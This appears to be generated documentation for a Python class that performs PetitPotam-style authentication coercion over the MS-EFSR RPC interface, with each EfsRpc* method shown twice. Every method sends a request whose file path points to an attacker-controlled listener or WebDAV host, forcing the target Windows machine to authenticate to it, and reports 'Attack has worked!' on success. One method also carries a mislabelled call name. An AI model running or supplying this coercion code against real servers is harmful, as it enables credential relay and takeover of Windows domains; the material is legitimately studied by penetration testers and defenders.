190            if self.verbose:
191                print("   [!] Error: dce is None, you must call connect() first.")
192
193    def EfsRpcDecryptFileSrv(self, listener, max_retries=3):
194        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/043715de-caee-402a-a61b-921743337e78
195        # Finding credits: @topotam77
196        call_name, call_opnum = "EfsRpcDecryptFileSrv", 5
197        if self.dce is not None:
198            tries = 0
199            while tries <= max_retries:
200                tries += 1
201                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
202                sys.stdout.flush()
203                try:
204                    request = EfsRpcDecryptFileSrv()
205                    if self.webdav_host is not None and self.webdav_port is not None:
206                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
207                    else:
208                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
209                    request['long'] = 0
210                    if self.debug:
211                        request.dump()
212                    self.dce.request(request)
213                except Exception as e:
214                    if "ERROR_INVALID_NAME" in str(e):
215                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
216                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
217                        time.sleep(20)
218                    elif "ERROR_BAD_NETPATH" in str(e):
219                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
220                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
221                        return True
222                    elif "rpc_s_access_denied" in str(e):
223                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
224                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
225                        return False
226                    elif "nca_s_unk_if" in str(e):
227                        # nca_s_unk_if
228                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
229                        return False
230                    else:
231                        print("\x1b[1;91m%s\x1b[0m" % str(e))
232                        if self.debug:
233                            pass
234        else:
235            print("[!] Error: dce is None, you must call connect() first.")
236
237    def EfsRpcQueryUsersOnFile(self, listener, max_retries=3):
238        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/a058dc6c-bb7e-491c-9143-a5cb1f7e7cea
239        # Finding credits: @topotam77
240        call_name, call_opnum = "EfsRpcQueryUsersOnFile", 6
241        if self.dce is not None:
242            tries = 0
243            while tries <= max_retries:
244                tries += 1
245                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
246                sys.stdout.flush()
247                try:
248                    request = EfsRpcQueryUsersOnFile()
249                    if self.webdav_host is not None and self.webdav_port is not None:
250                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
251                    else:
252                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
253                    if self.debug:
254                        request.dump()
255                    self.dce.request(request)
256                except Exception as e:
257                    if "ERROR_INVALID_NAME" in str(e):
258                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
259                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
260                        time.sleep(20)
261                    elif "ERROR_BAD_NETPATH" in str(e):
262                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
263                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
264                        return True
265                    elif "rpc_s_access_denied" in str(e):
266                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
267                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
268                        return False
269                    elif "nca_s_unk_if" in str(e):
270                        # nca_s_unk_if
271                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
272                        return False
273                    else:
274                        print("\x1b[1;91m%s\x1b[0m" % str(e))
275                        if self.debug:
276                            pass
277        else:
278            print("[!] Error: dce is None, you must call connect() first.")
279        return False
280
281    def EfsRpcQueryRecoveryAgents(self, listener, max_retries=3):
282        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/cf759c00-1b90-4c33-9ace-f51c20149cea
283        # Finding credits: @topotam77
284        call_name, call_opnum = "EfsRpcQueryRecoveryAgents", 7
285        if self.dce is not None:
286            tries = 0
287            while tries <= max_retries:
288                tries += 1
289                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
290                sys.stdout.flush()
291                try:
292                    request = EfsRpcQueryRecoveryAgents()
293                    if self.webdav_host is not None and self.webdav_port is not None:
294                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
295                    else:
296                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
297                    if self.debug:
298                        request.dump()
299                    self.dce.request(request)
300                except Exception as e:
301                    if "ERROR_INVALID_NAME" in str(e):
302                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
303                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
304                        time.sleep(20)
305                    elif "ERROR_BAD_NETPATH" in str(e):
306                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
307                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
308                        return True
309                    elif "rpc_s_access_denied" in str(e):
310                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
311                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
312                        return False
313                    elif "nca_s_unk_if" in str(e):
314                        # nca_s_unk_if
315                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
316                        return False
317                    else:
318                        print("\x1b[1;91m%s\x1b[0m" % str(e))
319                        if self.debug:
320                            pass
321        else:
322            print("[!] Error: dce is None, you must call connect() first.")
323
324    def EfsRpcFileKeyInfo(self, listener, max_retries=3):
325        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/6813bfa8-1538-4c5f-982a-ad58caff3c1c
326        # Finding credits: @topotam77
327        call_name, call_opnum = "EfsRpcEncryptFileSrv", 12
328        if self.dce is not None:
329            tries = 0
330            while tries <= max_retries:
331                tries += 1
332                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
333                sys.stdout.flush()
334                try:
335                    request = EfsRpcFileKeyInfo()
336                    if self.webdav_host is not None and self.webdav_port is not None:
337                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
338                    else:
339                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
340                    request['InfoClass'] = 0
341                    if self.debug:
342                        request.dump()
343                    self.dce.request(request)
344                except Exception as e:
345                    if "ERROR_INVALID_NAME" in str(e):
346                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
347                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
348                        time.sleep(20)
349                    elif "ERROR_BAD_NETPATH" in str(e):
350                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
351                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
352                        return True
353                    elif "rpc_s_access_denied" in str(e):
354                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
355                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
356                        return False
357                    elif "nca_s_unk_if" in str(e):
358                        # nca_s_unk_if
359                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
360                        return False
361                    else:
362                        print("\x1b[1;91m%s\x1b[0m" % str(e))
363                        if self.debug:
364                            pass
365        else:
366            print("[!] Error: dce is None, you must call connect() first.")
367
368    @classmethod
369    def list_coerce_methods(cls):
370        return [
371            ("EfsRpcOpenFileRaw", 0, None),
372            ("EfsRpcEncryptFileSrv", 4, None),
373            ("EfsRpcDecryptFileSrv", 5, None),
374            ("EfsRpcQueryUsersOnFile", 6, None),
375            ("EfsRpcQueryRecoveryAgents", 7, None),
376            ("EfsRpcFileKeyInfo", 12, None)
377        ]
378
379    def perform_coerce_calls(self, listener):
380        self.EfsRpcOpenFileRaw(listener)
381        self.EfsRpcEncryptFileSrv(listener)
382        self.EfsRpcDecryptFileSrv(listener)
383        self.EfsRpcQueryUsersOnFile(listener)
384        self.EfsRpcQueryRecoveryAgents(listener)
385        self.EfsRpcFileKeyInfo(listener)

Documentation for class RPCProtocol

def EfsRpcOpenFileRaw(self, listener, max_retries=3):
105    def EfsRpcOpenFileRaw(self, listener, max_retries=3):
106        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/ccc4fb75-1c86-41d7-bbc4-b278ec13bfb8
107        # Finding credits: @topotam77
108        call_name, call_opnum = "EfsRpcOpenFileRaw", 0
109        if self.dce is not None:
110            tries = 0
111            while tries <= max_retries:
112                tries += 1
113                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
114                sys.stdout.flush()
115                try:
116                    request = EfsRpcOpenFileRaw()
117                    if self.webdav_host is not None and self.webdav_port is not None:
118                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
119                    else:
120                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
121                    request['Flags'] = 0
122                    if self.debug:
123                        request.dump()
124                    self.dce.request(request)
125                except Exception as e:
126                    if "ERROR_INVALID_NAME" in str(e):
127                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
128                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
129                        time.sleep(20)
130                    elif "ERROR_BAD_NETPATH" in str(e):
131                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
132                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
133                        return True
134                    elif "rpc_s_access_denied" in str(e):
135                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
136                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
137                        return False
138                    elif "nca_s_unk_if" in str(e):
139                        # nca_s_unk_if
140                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
141                        return False
142                    else:
143                        print("\x1b[1;91m%s\x1b[0m" % str(e))
144                        if self.debug:
145                            pass
146        else:
147            print("[!] Error: dce is None, you must call connect() first.")
def EfsRpcEncryptFileSrv(self, listener, max_retries=3):
149    def EfsRpcEncryptFileSrv(self, listener, max_retries=3):
150        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/0d599976-758c-4dbd-ac8c-c9db2a922d76
151        # Finding credits: @topotam77
152        call_name, call_opnum = "EfsRpcEncryptFileSrv", 4
153        if self.dce is not None:
154            tries = 0
155            while tries <= max_retries:
156                tries += 1
157                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
158                sys.stdout.flush()
159                try:
160                    request = EfsRpcEncryptFileSrv()
161                    if self.webdav_host is not None and self.webdav_port is not None:
162                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
163                    else:
164                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
165                    if self.debug:
166                        request.dump()
167                    self.dce.request(request)
168                except Exception as e:
169                    if "ERROR_INVALID_NAME" in str(e):
170                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
171                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
172                        time.sleep(20)
173                    elif "ERROR_BAD_NETPATH" in str(e):
174                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
175                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
176                        return True
177                    elif "rpc_s_access_denied" in str(e):
178                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
179                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
180                        return False
181                    elif "nca_s_unk_if" in str(e):
182                        # nca_s_unk_if
183                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
184                        return False
185                    else:
186                        print("\x1b[1;91m%s\x1b[0m" % str(e))
187                        if self.debug:
188                            pass
189        else:
190            if self.verbose:
191                print("   [!] Error: dce is None, you must call connect() first.")
def EfsRpcDecryptFileSrv(self, listener, max_retries=3):
193    def EfsRpcDecryptFileSrv(self, listener, max_retries=3):
194        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/043715de-caee-402a-a61b-921743337e78
195        # Finding credits: @topotam77
196        call_name, call_opnum = "EfsRpcDecryptFileSrv", 5
197        if self.dce is not None:
198            tries = 0
199            while tries <= max_retries:
200                tries += 1
201                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
202                sys.stdout.flush()
203                try:
204                    request = EfsRpcDecryptFileSrv()
205                    if self.webdav_host is not None and self.webdav_port is not None:
206                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
207                    else:
208                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
209                    request['long'] = 0
210                    if self.debug:
211                        request.dump()
212                    self.dce.request(request)
213                except Exception as e:
214                    if "ERROR_INVALID_NAME" in str(e):
215                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
216                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
217                        time.sleep(20)
218                    elif "ERROR_BAD_NETPATH" in str(e):
219                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
220                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
221                        return True
222                    elif "rpc_s_access_denied" in str(e):
223                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
224                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
225                        return False
226                    elif "nca_s_unk_if" in str(e):
227                        # nca_s_unk_if
228                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
229                        return False
230                    else:
231                        print("\x1b[1;91m%s\x1b[0m" % str(e))
232                        if self.debug:
233                            pass
234        else:
235            print("[!] Error: dce is None, you must call connect() first.")
def EfsRpcQueryUsersOnFile(self, listener, max_retries=3):
237    def EfsRpcQueryUsersOnFile(self, listener, max_retries=3):
238        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/a058dc6c-bb7e-491c-9143-a5cb1f7e7cea
239        # Finding credits: @topotam77
240        call_name, call_opnum = "EfsRpcQueryUsersOnFile", 6
241        if self.dce is not None:
242            tries = 0
243            while tries <= max_retries:
244                tries += 1
245                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
246                sys.stdout.flush()
247                try:
248                    request = EfsRpcQueryUsersOnFile()
249                    if self.webdav_host is not None and self.webdav_port is not None:
250                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
251                    else:
252                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
253                    if self.debug:
254                        request.dump()
255                    self.dce.request(request)
256                except Exception as e:
257                    if "ERROR_INVALID_NAME" in str(e):
258                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
259                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
260                        time.sleep(20)
261                    elif "ERROR_BAD_NETPATH" in str(e):
262                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
263                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
264                        return True
265                    elif "rpc_s_access_denied" in str(e):
266                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
267                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
268                        return False
269                    elif "nca_s_unk_if" in str(e):
270                        # nca_s_unk_if
271                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
272                        return False
273                    else:
274                        print("\x1b[1;91m%s\x1b[0m" % str(e))
275                        if self.debug:
276                            pass
277        else:
278            print("[!] Error: dce is None, you must call connect() first.")
279        return False
def EfsRpcQueryRecoveryAgents(self, listener, max_retries=3):
281    def EfsRpcQueryRecoveryAgents(self, listener, max_retries=3):
282        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/cf759c00-1b90-4c33-9ace-f51c20149cea
283        # Finding credits: @topotam77
284        call_name, call_opnum = "EfsRpcQueryRecoveryAgents", 7
285        if self.dce is not None:
286            tries = 0
287            while tries <= max_retries:
288                tries += 1
289                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
290                sys.stdout.flush()
291                try:
292                    request = EfsRpcQueryRecoveryAgents()
293                    if self.webdav_host is not None and self.webdav_port is not None:
294                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
295                    else:
296                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
297                    if self.debug:
298                        request.dump()
299                    self.dce.request(request)
300                except Exception as e:
301                    if "ERROR_INVALID_NAME" in str(e):
302                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
303                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
304                        time.sleep(20)
305                    elif "ERROR_BAD_NETPATH" in str(e):
306                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
307                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
308                        return True
309                    elif "rpc_s_access_denied" in str(e):
310                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
311                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
312                        return False
313                    elif "nca_s_unk_if" in str(e):
314                        # nca_s_unk_if
315                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
316                        return False
317                    else:
318                        print("\x1b[1;91m%s\x1b[0m" % str(e))
319                        if self.debug:
320                            pass
321        else:
322            print("[!] Error: dce is None, you must call connect() first.")
def EfsRpcFileKeyInfo(self, listener, max_retries=3):
324    def EfsRpcFileKeyInfo(self, listener, max_retries=3):
325        # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/6813bfa8-1538-4c5f-982a-ad58caff3c1c
326        # Finding credits: @topotam77
327        call_name, call_opnum = "EfsRpcEncryptFileSrv", 12
328        if self.dce is not None:
329            tries = 0
330            while tries <= max_retries:
331                tries += 1
332                print("      [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="")
333                sys.stdout.flush()
334                try:
335                    request = EfsRpcFileKeyInfo()
336                    if self.webdav_host is not None and self.webdav_port is not None:
337                        request['FileName'] = '\\\\%s@%d/%s\\%s\\file.txt\x00' % (self.webdav_host, self.webdav_port, gen_random_name(length=3), gen_random_name())
338                    else:
339                        request['FileName'] = '\\\\%s\\%s\\file.txt\x00' % (listener, gen_random_name())
340                    request['InfoClass'] = 0
341                    if self.debug:
342                        request.dump()
343                    self.dce.request(request)
344                except Exception as e:
345                    if "ERROR_INVALID_NAME" in str(e):
346                        # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect.
347                        print("Got (0x7b):\x1b[1;91mERROR_INVALID_NAME\x1b[0m | This can happen, waiting 20 seconds before retry ...")
348                        time.sleep(20)
349                    elif "ERROR_BAD_NETPATH" in str(e):
350                        # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found.
351                        print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m")
352                        return True
353                    elif "rpc_s_access_denied" in str(e):
354                        # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
355                        print("\x1b[1;91mrpc_s_access_denied\x1b[0m")
356                        return False
357                    elif "nca_s_unk_if" in str(e):
358                        # nca_s_unk_if
359                        print("\x1b[1;91mnca_s_unk_if\x1b[0m")
360                        return False
361                    else:
362                        print("\x1b[1;91m%s\x1b[0m" % str(e))
363                        if self.debug:
364                            pass
365        else:
366            print("[!] Error: dce is None, you must call connect() first.")
@classmethod
def list_coerce_methods(cls):
368    @classmethod
369    def list_coerce_methods(cls):
370        return [
371            ("EfsRpcOpenFileRaw", 0, None),
372            ("EfsRpcEncryptFileSrv", 4, None),
373            ("EfsRpcDecryptFileSrv", 5, None),
374            ("EfsRpcQueryUsersOnFile", 6, None),
375            ("EfsRpcQueryRecoveryAgents", 7, None),
376            ("EfsRpcFileKeyInfo", 12, None)
377        ]
def perform_coerce_calls(self, listener):
379    def perform_coerce_calls(self, listener):
380        self.EfsRpcOpenFileRaw(listener)
381        self.EfsRpcEncryptFileSrv(listener)
382        self.EfsRpcDecryptFileSrv(listener)
383        self.EfsRpcQueryUsersOnFile(listener)
384        self.EfsRpcQueryRecoveryAgents(listener)
385        self.EfsRpcFileKeyInfo(listener)